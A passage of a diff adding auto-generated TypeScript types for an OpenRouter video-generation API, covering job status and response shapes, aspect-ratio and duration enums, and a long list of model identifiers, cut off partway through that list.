user?: string +} + +export type OpenrouterPostVideosKwaivgiKlingV30ProOptions = { + body: OpenrouterPostVideosKwaivgiKlingV30ProBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosKwaivgiKlingV30ProResponses = { + '200': OpenrouterPostVideosKwaivgiKlingV30ProStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosKwaivgiKlingV30ProResponse = + OpenrouterPostVideosKwaivgiKlingV30ProStatus200 + +export const openrouterPostVideosKwaivgiKlingV30StdStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosKwaivgiKlingV30StdStatus200StatusEnumKey = + (typeof openrouterPostVideosKwaivgiKlingV30StdStatus200StatusEnum)[keyof typeof openrouterPostVideosKwaivgiKlingV30StdStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosKwaivgiKlingV30StdStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosKwaivgiKlingV30StdStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosKwaivgiKlingV30StdRequestAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type OpenrouterPostVideosKwaivgiKlingV30StdRequestAspectRatioEnumKey = + (typeof openrouterPostVideosKwaivgiKlingV30StdRequestAspectRatioEnum)[keyof typeof openrouterPostVideosKwaivgiKlingV30StdRequestAspectRatioEnum] + +export const openrouterPostVideosKwaivgiKlingV30StdRequestDurationEnum = { + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type OpenrouterPostVideosKwaivgiKlingV30StdRequestDurationEnumKey = + (typeof openrouterPostVideosKwaivgiKlingV30StdRequestDurationEnum)[keyof typeof openrouterPostVideosKwaivgiKlingV30StdRequestDurationEnum] + +export const openrouterPostVideosKwaivgiKlingV30StdRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 